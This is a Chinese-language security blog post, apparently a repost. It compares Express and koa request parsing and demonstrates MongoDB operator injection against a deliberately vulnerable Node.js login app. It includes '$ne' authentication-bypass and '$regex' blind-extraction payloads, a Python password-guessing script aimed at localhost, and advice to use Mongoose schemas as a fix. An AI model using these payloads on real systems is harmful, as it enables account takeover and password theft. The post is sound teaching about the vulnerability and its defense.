The difference between Express and koa Express 和 koa 都是 Node.js 的 Web 框架,相比较 Express,koa 使用了 generator 作为中间件,减少了大量的 callback,更加轻量一些。在对于不同的 HTTP Method,譬如 GET、POST 的数据的处理上,Express 的行为和
Express 和 koa 都是 Node.js 的 Web 框架,相比较 Express,koa 使用了 generator 作为中间件,减少了大量的 callback,更加轻量一些。在对于不同的 HTTP Method,譬如 GET、POST 的数据的处理上,Express 的行为和 koa 有一些差异。
在对于 GET 的处理上,Express 和 koa 的一个显著的不同就是:
<code>test[1]=a&test[2]=b </code>
Expres 的 req.query
会把 test 处理成 Object:
<code>{ test: [ 'a', 'b' ] } </code>
koa 的 this.request.query
却不会:
<code>{ 'test[1]': 'a', 'test[2]': 'b' } </code>
在这种情况下,koa 可以避免在 QueryString 内的 Mongodb Injection。
在 POST 中,当 Content-Type 为 application/x-www-form-urlencoded
时,Express和 koa 的行为也是不相同的,对于:
<code>test[a]=123&test[b]=456 </code>
Express 的 req.body
解析后的结果为:
<code>{ 'test[a]': '123', 'test[b]': '456' } </code>
koa co-body
处理后解析后的结果为:
<code>{ test: { a: '123', b: '456' } } </code>
当 Content-Type 为 multipart/form-data
时,对于:
<code>------WebKitFormBoundaryxUTB0WY8QmAfDBIp Content-Disposition: form-data; name="test[a]" 123 ------WebKitFormBoundaryxUTB0WY8QmAfDBIp Content-Disposition: form-data; name="test[b]" 456 ------WebKitFormBoundaryxUTB0WY8QmAfDBIp-- </code>
Express 利用 multiparty 解析的结果为:
<code>{ 'test[a]': [ '123', '456' ], 'test[b]': [ '789' ] } </code>
koa 如果用 multiparty 解析的话,结果相同。
最后,当 Content-Type 为 application/json
时,Express 和 koa 在结果上时相同的,对于:
<code>{"test1": 1, "test2": {"test": "hello"}} </code>
解析结果都为:
<code>{ test1: 1, test2: { test: 'hello' } } </code>
另外的 PUT、DELETE 等方法我们不做考虑。
其实这里引入一个 RESUful 的概念,现代 API 多是追求 RESTful 的 API 设计,对于 Web 和 App 有统一的一套接口,然后衍生出一系列所谓“前后端分离”的概念,也出现了许多 JavaScript 框架,AngularJS 就是这样的。AngularJS 和后端通信的方式就是上述 POST 中最后一种,直接 POST JSON 到后端,然后后端进行解析,所以说在这种解析的过程中就会出现一系列的问题,最主要的还是 Mongodb Injection。
这个其实是很常见的问题了,因为攻击威力小,而且开发者稍加注意就可以避免,所以 Mongodb Injection 一直就是不温不火。
对于 Mongodb 的注入,目前可以做到的事 Authenticate Bypass,以及 Blind Injection。比较鸡肋的是 Blind Injection 只能对已知字段进行注入。
我用 Node.js + Mongodb 写了一个简单的登陆系统,当然是有漏洞的,主要是来研究一下漏洞的成因,以及如何避免。
项目地址:https://github.com/RicterZ/simpleLogin
/controllers/user.js
<code>LoginHandler.login = function (request, response) { var user = new User({ username: request.body.username, password: request.body.password }); user.login(function (err, user) { if (err) { response.status(500).json({message: err.toString()}) return; }; if (!user) { response.status(401).json({message: 'Login Fail'}); return; }; response.status(200).json({user: 'Hello ' + user.username}); }); }; </code>
此处我们将用户传入的 password 直接带入 User 的 Model,进而调用 login 方法。
/model/users.js
<code>User.prototype.login = function (callback) { var _user = { username: this.username, password: this.password }; db.open(function (err, db) { if (err) return callback(err); db.collection('users', function (err, collection) { if (err) { db.close(); return callback(err); }; collection.findOne(_user, function (err, user) { // Injection // do stuff }); }); }); } </code>
由于此处我们提交的数据为:
<code>{"username": "test", "password": {"$ne": 1} </code>
Express 处理后变成一个 JSON Condition 然后进入 Mongodb 的查询中,所以我们可以直接 Bypass 验证,进入 test 的账户。
/controller/user.js
<code>LoginHandler.login2 = function (request, response) { var user = new User({ username: request.body.username, password: request.body.password }); user.login(function (err, user) { if (err) { response.status(500).json({message: err.toString()}) return; }; if (!user) { response.status(401).json({message: 'User not exist'}); return; }; if (user.password === request.body.password) { response.status(200).json({user: 'Hello ' + user.username}); } else { response.status(401).json({message: 'Password is not correct'}); }; }); }; </code>
此处和上面不同的是我们验证了密码,如果未获取到用户则显示 User not exist,如果密码和数据库里储存的密码不同则显示 Password is not correct。利用此处的差异我们可以 Blind Injection 出数据库储存的密码为多少。
利用 Mongodb 里的正则表达式:
<code>{"username": "test", "password": {"$regex": "^1"}} </code>
如果开头的字母为 1,则显示 Password is not correct,如果不为 1,则显示 User not exist。第一位猜测完毕后继续猜解第二位:
<code>{"username": "test", "password": {"$regex": "^11"}} </code>
重复上述步骤直至猜解结束。
Code:
<code>import urllib2 request = urllib2.Request('http://localhost:3000/login', '{"username": "ricter", "password": {"$ne": 1}}', headers={"Content-Type": "application/json"}) print urllib2.urlopen(request).read() </code>
Result:
Code:
<code>import sys import urllib2 def req(url, data): try: request = urllib2.Request(url, data, headers={'Content-Type': 'application/json'}) return urllib2.urlopen(request).read() except urllib2.HTTPError, e: return e.read() url = 'http://localhost:3000/login2' FLAG_USER_NOT_EXIST = 'User not exist' FLAG_PASSWORD_INCORRECT = 'Password is not correct' chars = '9876503412' payload = '{"username": "ricter","password": {"$regex": "^%s"}}' password = '' while 1: for i in chars: resp = req(url, payload % (password + i)) if FLAG_PASSWORD_INCORRECT in resp: password += i print password break elif FLAG_USER_NOT_EXIST in resp: pass if i == chars[-1]: print password sys.exit(0) </code>
Result:
常见的 Node.js 的 Web 应用中,还有一种常见的搭配就是利用 Mongoose 来进行数据的 CRUD。
具体代码参见 simpleLogin 的 mongoose 分支。
使用 Mongoose 我们可以定义每个 document 的 field 的数据类型:
<code>var _User = new db.Schema({ username: String, password: String, apikey: String }); </code>
这样的话,我们传入:
<code>{"username": "ricter","password": {"$ne": 1}} </code>
实际上查询的时候会被转变成:
<code>{ username: 'ricter', password: undefined } </code>
所以不会造成 Mongodb Injection。
Node.js 的 Webapp,我本人比较倾向于 koa+mongoose,可以避免一些 Mongodb 的注入的问题,以及代码看起来更为优雅一些。
当然,\Python 大法好/
原文地址:Mongodb Injection in Node.js Web Framework, 感谢原作者分享。